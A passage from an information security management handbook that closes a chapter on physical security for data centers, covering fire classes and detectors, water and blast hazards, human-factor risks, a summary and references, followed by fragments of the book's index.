quality and particles. These particle filters offer some protection from chemical, biological, and radiological pollutants and consist of one of four types of basic filtration systems (i.e., straining, impingement, interception, or diffusion).
Fire Detection and Suppression The National Fire Protection Association (NFPA) Fire Protection Handbook identifies a variety of potential results from “thermal-related effects, principally fire.” They include thermal injury, injury from inhaled toxic products or oxygen deprivation resulting from fire, injury from structural failure resulting from fire, electric shock, and burns from hot surfaces, steam, or other hot objects and explosions. Nearly 2 million fires are reported each year, which represents only about 5 to 10 percent of unwanted fires. Fires can be classified into the following four categories:
Physical Security for Mission-Critical Facilities and Data Centers
• • • •
659
Class A — Fires involving ordinary combustibles (e.g., paper, rags, drapes, furniture) Class B — Fires that are fueled by gasoline, grease, oil, or other volatile fluids Class C — Fires in live electrical equipment such as generators and transformers Class D — Fires that result from chemicals such as magnesium, sodium, or potassium
Fire alarm systems are similar to intrusion alarm systems in that they consist of a sensor and signaling device. The signaling system can be triggered in a number of ways, such as by water-flow switches, manual alarms, and smoke or heat detectors. Sensors are designed to detect fire at different stages of development. For example, ionization detectors are designed for detecting fire at its earliest incipient stage. Photoelectric smoke detectors begin to alarm when smoke reaches a concentration of 2 to 4 percent, which typically occurs during the smoldering stage. Infrared flame detectors detect the infrared emissions of active fire during the flame stage, and thermal detectors (as their name suggests) react to the heat during the heat stage of a fire. Although fire alarm system design is beyond the scope of this chapter, some very important fire-related questions should be asked, including: • Are smoke and fire detectors located under the raised floor? Above the raised ceiling? Inside of air handling ducts? Inside computer cabinets? • Are the doors and walls of the computer room fire rated? Do they have a 2-, 3-, or 4-hour rating? • Is emergency lighting provided in the computer room? • Are fire extinguishers of the proper class present in the computer room? • Is fire suppression automatic? What is the temperature rating of the sprinkler system? • What extinguishing agents are used? Water? Halon? Other? • How are fires inside of cabinets suppressed? • Does the air handling or exhaust system activate during a fire to exhaust smoke and steam from the computer room? • Are portable fire extinguishers available and lit with emergency lighting? • How close is the fire department? Three miles or less? Is the fire department volunteer or full time? What is their average response time? • Is a fireproof cabinet or safe located in the computer room for backup media? • Are the waste receptacles low-fire-risk? Is a metal lid available for each trash can for putting out fires?
General Space Design Issues Earlier in this chapter we discussed the design of walls, doors, windows, and ceilings with safety and security in mind. It is also important to take a brief look at some often overlooked design issues that could prove to be a threat to the computer room or data center. Most architects and engineers do a good job of avoiding the pitfalls of poor design for IT facilities; however, it is important in both new and existing facilities to examine the floor plan, ceilings, walls, and closets for potential hazards to the computer room and systems that support it. Water flooding, leakage, and condensation are all security threats to the computer room. It is worth taking a few minutes to make sure that no restrooms, kitchenettes, or janitor closets with water are located adjacent to the computer room walls. Water pipes are frequently located inside walls, and if they leak or rupture the water could spill into the computer room. Similarly, it is important to ensure that no roof drains, water pipes, cooling pipes, or any other pipes carrying liquid are routed directly over or along the computer room. As a preventative measure, it also makes sense to investigate where water will go if a leak occurs. Does the computer room have a drainage system? What about adjacent rooms or businesses? An inspection of water sources should also include the higher floors in a multistory building. Are drains installed in the floors above the computer room to catch water in the event of a ruptured pipe? When possible, it makes sense to avoid having doors and windows to the outside in the computer room. If these already exist or the operator is given no choice but to locate the computer room in an
660
Information Security Management Handbook
existing space with outside doors and windows, several security practices should be considered. Traditional alarm sensors should be installed, and physical barriers such as bars or plates should also be considered, especially if the facility has no perimeter security. Another consideration is the proximity of the windows and doors to a parking lot, road, or sidewalk. How close can vehicles or pedestrians get to the outside windows and doors? Remember that outside windows in the computer room are the only barrier between that room and the parking lot, street, highway, or walkway. Tempered safety glass, commonly installed in commercial office buildings, only requires about .8 psi of overpressure. In the event of an intentional or accidental explosion, shattered window glass, blast debris, smoke, and fire can all be blown into a computer room from the outside. Fire- and blast-rated doors and strengthened, blast- or bullet-resistant glass are all wise precautions for outside windows and doors. Other considerations for protecting glass windows and doors include the use of window films and fabric screening systems or blast curtains; however, the best solution is to ensure that all computer room walls are inside walls. Other building design considerations would be the proximity of the computer room to fuel storage tanks (which should ideally be underground), chemical storage, liquid gas tank storage (fork lift and tow motor fuel cells), and other caustic or potentially explosive liquids. A tour of the walls adjacent to the computer room should find them to be clear of any potentially flammable or explosive materials, chemicals, or liquids.
The Human Factor Human beings should always be considered a risk when analyzing the potential for failure. Human factor risks can include operator error and those caused by poor human interface. Additional considerations would include accidental and intentional damage, such as sabotage and terrorism. Most estimates of the percentage of critical failures due to the human factor exceed the 70 percent mark. The following is a list of people with the potential to cause downtime: • • • • • • • • • • • • • • •
Base building operations Building engineers Cafeteria personnel Clients Delivery personnel Design engineering Information technology staff Messengers Other tenants Project management Property management Security guards Specialty contractors Third-party contractors Visitors
Because most security professionals acknowledge that roughly 65 percent of all losses in the enterprise occur at the hands of employees, the first line of defense against the human factor must be the human resources department. The second line of defense would be security design strategies (such as CPTED), access control, traffic control, and alarms. Removing the opportunity to make a mistake or providing audio or visual stimuli to alert employees of mistakes can eliminate many of the mistakes resulting from tasks done out of order, incorrectly, or not at all. In other words, automating or providing feedback during or immediately after the task can help significantly. Intelligent patching is one application of this idea that is gaining popularity. This approach to physicallayer, structured cabling systems provides the ability to alarm or automate the tasks associated with
Physical Security for Mission-Critical Facilities and Data Centers
661
FIGURE 51.3 Intelligent patching. (Courtesy of SYSTIMAX Solutions; Richardson, TX.)
connecting and disconnecting servers, switches, and other network appliances at the patch panel, as shown in Figure 51.3. These devices detect the presence or absence of a patch cable and forward that information to network management software. Intelligent patching systems also have the ability to accept input from a software interface and visually prompt the technician or engineer as to the proper jack or port location for inserting or removing a patch cable. Some intelligent patching systems have the ability to identify the other end of the patch cable that is being removed and can notify the operations center if an incorrect connection or device is terminated. This level of automation and immediate fault detection can significantly reduce accidental disconnects, improper connections, and sabotage. In addition to the automation of tasks, other methods to reduce downtime due to the human factor include: • • • • • • •
Thoroughly screening new hires Being on the lookout for unusual work patterns and unscheduled hours Providing ongoing training and skills assessment Publishing clear and thorough policies, procedures, and guidelines Implementing regular security awareness training Assess disaster tolerance under a simulated emergency Being sure that termination procedures are thorough and remove any chance of future access, retribution, or theft
Summary The best practices for data center, mission-critical facility, and computer room design are evolving even as this publication is being written. Many pages have already been devoted to site selection, room design, power, HVAC, fire detection and suppression, network systems, storage, and even cyber security to maximize reliability and availability. It is also important to consider the impact of the escalating value of this corporate asset and how security professionals will protect their systems, components, and occupants. Establishing a secure perimeter and controlling the entrance and exit of employees, visitors, and contractors are important first lines of defense. Controlling and monitoring the movement of vehicles and pedestrians as they move around inside the perimeter can provide a safe environment for those entering and leaving the secure IT site. The use of standard access control methods, surveillance, and CPTED concepts can provide additional countermeasures against intruders, but occupants of the facility must be able to move where they need to move within the walls of the secure IT facility. Finally, emerging standards and performance benchmarks are pushing critical infrastructure and networks systems to new levels of availability. One thing is certain: Because people remain the biggest threat to availability and because the value of data assets and applications continues to soar, providing physical security to critical infrastructures within data centers or secure IT facilities will continue to be necessary.
662
Information Security Management Handbook
References ASIS Foundation. 2004. The ASIS Foundation Security Report: Scope and Emerging Trends, Preliminary Findings. Alexandria, VA: ASIS International. Barraza, O. 2002. Achieving 99.9998+ Percent Storage Uptime and Availability. Carlsbad, CA: Dot Hill Systems Corp. Chirillo, J. and S. Blaul. 2003. Implementing Biometric Security. Indianapolis, IN: Wiley. DHS. 2003. National Strategy for The Physical Protection of Critical Infrastructure and Key Assets. Washington, D.C.: Department of Homeland Security (http://www.dhs.gov/interweb/assetlibrary/ Physical_Strategy.pdf). Dobbs, G. and D. Kohlsdorf. 2004. Applying CPTED Principles to the Real World. Dallas, TX: ASIS International 50th Annual Seminar and Exhibits. Fischer, R. and G. Green. 1998. Introduction to Security. Woburn, MA: Butterworth-Heinemann. Gross, P. and K. Godrich. 2003. Novel Tools for Data Center Vulnerability Analysis. New York: Data Center Dynamics. ISL. 2002. Video Smoke Detection System Overview. Alton, U.K.: Intelligent Security, Ltd. (www.intelsec. com). Kakalik, J. and S. Wildhorn. 1971. Private Police in the United States: Findings and Recommendations, p. 30. Santa Monica, CA: The RAND Corporation. Matsumoto, T., H. Matsumoto, K. Yamada, and S. Hoshino. 2002. Impact of artificial “gummy” fingers on fingerprint systems. In Proc. of SPIE, Vol. 4677, Optical Security and Counterfeit Deterrence Techniques IV, January 24–25, 2002. Newman, O. 1973. Defensible Space: Crime Prevention Through Urban Design. New York: Macmillan. NFPA. 2003. Fire Protection Handbook, 19th edition. Quincy, MA: National Fire Protection Association. Owen, D. 2003. Building Security: Strategies and Costs. Kingston, MA: Reed Construction. Turner IV, P. and K. Brill. 2001. Industry Standard Tier Classifications Define Site Infrastructure Performance. Santa Fe, NM: The Uptime Institute, (www.upsite.com/TUIpages/tuiwhite.html).
Index
This page intentionally left blank
Index A access control, 10, 105, 106, 113, 120, 125, 128, 193, 195, 258–260, 358, 401, 413, 647, 648, 649–656, 660, 661 administrator-based, 10 identity management, and, 58 security architectures for, 42 access control lists (ACLs), 23, 121, 189, 193, 622 access point (AP), 148, 151, 152, 413 access policies, 128 access privileges, 315 access server authentication, 42 account hijacking, 345–346, 347 account takeover, 341 acknowledgment (ACK), 81, 84 ACLs, see access control lists active digital data, 617 Active Directory, 53, 57, 64, 125, 128, 411, 422 active discovery methods, 416–419 ActiveX, 320, 351, 352, 354–355, 356, 359, 555 activists, 598 information warfare and, 589–591 Address Resolution Protocol (ARP), 415 address spoofing, 77, 79, 92, 110, 156 addressable implementation, HIPAA, 513, 517 administrative safeguards, HIPAA, 513, 517, 521–522 Advanced Encryption Standard (AES), 191 Advanced Research Projects Agency (ARPA), 92 adware, 526, 529, 530 pop-up, 535 principles to adhere to, 533–534 agent-based tools, 410 agents, 225 air gap, 74, 86–87 AirSnort, 115 AISs, see automated information systems alarms, 8, 646, 647, 648, 649, 652, 653, 654, 655, 656 burglar, 656 capacitance, 655 electromechanical, 656 fire, 655, 658–659 motion sensors, 656 photoelectric, 656, 659 pressure, 656
L LAND, 79 laws, 64–65; see also regulations, regulatory compliance leaks, water, 659 LEAP, see Lightweight and Efficient Application Protocol learning, reinforcement, 133, 137 learning, team, 289 least significant bit (LSB), 369 legal discovery, 616–617
battling, 530–535 blockers, 532 data collection, surreptitious, 529 direct marketing, 530 ethical/legal concerns of, 527–530 hijacking, 530 legislation regarding, 533–535 litigation regarding, 535 occurrence of, 525, 526 organizational initiatives against, 531–533 privacy invasion, 528–529 state legislation against, 534–535 stealth, 528 trespass, 527–528 types of, 526–527 user vigilance, and, 530–531 stack, 538, 539, 545, 554 smashed, 538 stack-based buffer overflow, 538–539, 540 Standard CMM Assessment Model for Process Improvement (SCAMPI), 330 standard operating procedures (SOPs), 602, 603 state awareness, 77 stateful call inspection, by PBX firewall, 141 stateful inspection, 74, 83–84, 90, 91, 92, 170 stateful packet filter, 74, 77–80, 90, 103, 105, 107 statements of work (SOWs), 519 static maintenance review, 434 static packet filter, 74, 76–77, 82 rules database, 77 static random access memory (SRAM), 627 static separation of duty (SSD), 21–22 status seekers, 342 stealth spyware, 528 steganography, 257, 259, 581, 582–584 blind detection of, 367–371 deficiencies in, 367 Steganography Detection & Recovery Toolkit (S-DART), 584 Steganography Tools 4, 583 Stegdetect, 584 StegFS,, 584 storage area networks (SANs), 227 Strategic National Implementation Process (SNIP), 518 strength, as security property, 399, 400 string searching, 617 strong application proxies, 82, 90–93, 94 Structure Query Language (SQL), 409, 422 SW-CMM, see Capability Maturity Model for Software subexponential time, 387 subject matter experts (SMEs), 314
Information Security Management Handbook
super-encryption, 192 SuperScan, 421 surveillance cameras, 647, 653, 655 symmetric cryptography, 377 symmetric encryption, 191 symmetric multiprocessing (SMP), 75, 79, 82, 84 synchronization (SYN), 79, 81, 84, 91, 588 synchronous host support, 46 synchronous tokens, 43, 44, 46, 49 syscall proxy, 541; see also system-call proxy system call, 539 system-call proxy, 541, 546–547, 548 system development life cycle (SDLC), 309, 311, 312, 316, 318, 320, 321, 322, 324, 438, 520 system development security methodology (SDSM), 309–324 analyze stage, 312–314 build and test stage, 316–320 deploy stage, 321–323 design stage, 314–316 framework, 309–310 requirements stage, 311–312 test phases, 320 System Information, 630, 631 system management essentials, 408–411 system monitors, 526–527 System Registry, 630, 631 system reliability, 657–658 system review, 631–634 Systems Engineering Capability Model (SECM), 330 Systems Management Server (SMS), 422 systems security officer, 615 systems thinking, 289 systems, unmanaged, 407–422 known, 411–413 unknown, 413–420 discovering, 413–419
T tandem calls, 165 Tao Te Ching, 289, 290–291 Tear Drop, 79 technical safeguards, 557 HIPAA, 513, 517, 521–522 techno-anarchists, 592 techno-babble, 200 technology convergence, 233–240 technology, embracing, 236 telecommunications, site selection and, 644 telecommuting, 111
685
Index
telemedicine, 580 Telephone Consumer Protection Act (TCPA), 251 telephony system, 161–174 temperature, physical security and, 643, 658 Temporal Key Integrity Protocol (TKIP), 149 Temporary Internet Files, 628, 629 term searching, 617 termination, of personnel, 14, 57, 113 terrorism, 579–599 defined, 580 goals of, 581–582 TESO, 540, 542 text messages, 92 theft, 551, 593 themes, 298–299 third-party service providers, 439, 454 third-party system, 412 threat exposure, 236 3DES, see triple Data Encryption Standard three-factor authentication, 36 three-way handshake, 79, 84, 85, 90–91 throughput degradation, WLAN, 151 time, access controls and, 121 tokens, 10, 12, 13, 60, 111, 193, 389, 417, 572, 623, 649 asynchronous vs. synchronous, 43, 49 cryptographic, 36 displays for, 46 evaluating, 41–50 initialization of, 45 operation modes, 43 passwords for, 46 types of, 44–49 warranty for, 49 toll fraud, 140, 144, 161–174, 561 examples of, 162–163 Total Quality Management (TQM), 202, 336–337 total stream protection, 74 traffic control, 648–649, 654, 660 traffic load, 133, 134, 135, 136 traffic, malicious, 189–190, 231 training, 14, 38, 39, 56, 66, 204, 210, 214, 229, 242, 243, 245, 247, 248, 250, 251, 255, 257, 258, 262, 267, 268, 277, 278–284; see also employee training as required by law, 270 contingency plan, 463 information security awareness, 285–294 motivators, 270–271 types of, 282–284 transactions and code sets standard, of HIPAA, 107 transactions, smart cards and, 38
Transmission Control Protocol (TCP), 75, 76, 109, 120, 168, 190, 414, 421, 539, 543, 544, 545 header, 75, 77, 80, 81 three-way handshake, 90–91 Transmission Control Protocol/Internet Protocol (TCP/IP), 120, 320, 421, 426 transportation, site selection and, 644 Treadway Commission, 183 trespass to chattels, 528 trespass, spyware, 527–528 triggers, persuasion, 291–293 triple Data Encryption Standard (3DES), 168, 191 Trojans, 108, 112, 340, 343, 344, 345, 348, 398, 526, 530, 552, 562, 564, 576 trunk group calls, 169 trunking blockage, 144 trunk-to-trunk tandeming, 165 trust relationships, 66–67 trusted sender stamps, 259 trusted third party (TTP), 574 TTP, see trusted third party Tunneled Transport Layer Security (TTLS), 125 turnstiles, 653 two-factor authentication, 36, 37, 60, 140, 193, 417, 649, 653 two-man rule, 651, 652 two-slit experiment, 375
U U.S. Patriot Act, 106, 274 U.S. Patriot Act Customer Identification Program, 64 UDP, see User Datagram Protocol unallocated digital data, 617 unauthorized use, 341 Unified Modeling Language (UML), 26 uninterruptible power system (UPS), 462 United States v Dopps, 123 United States v Meydbray, 123 United States v Smith, 123 universal resource locater (URL), 112, 116, 530, 532, 560, 562, 563, 564, 567, 568, 570, 571, 573, 624, 626, 627 mistyped, 530 phishing, and, 560, 562, 563, 564, 567, 568, 570, 571, 573 universal serial bus (USB), 109, 617 USB port authenticators, 60 user account, setting up, 57 user authentication, 42 user base, 311
686
User Datagram Protocol (UDP), 80, 109, 162, 168, 414, 415, 421, 543, 553 user friendliness, of tokens, 45 user private network (UPN), 127 user vigilance, against spyware, 530–531 utilities, availability of for data center site, 645 Utilization Review Accreditation Committee (URAC), 518
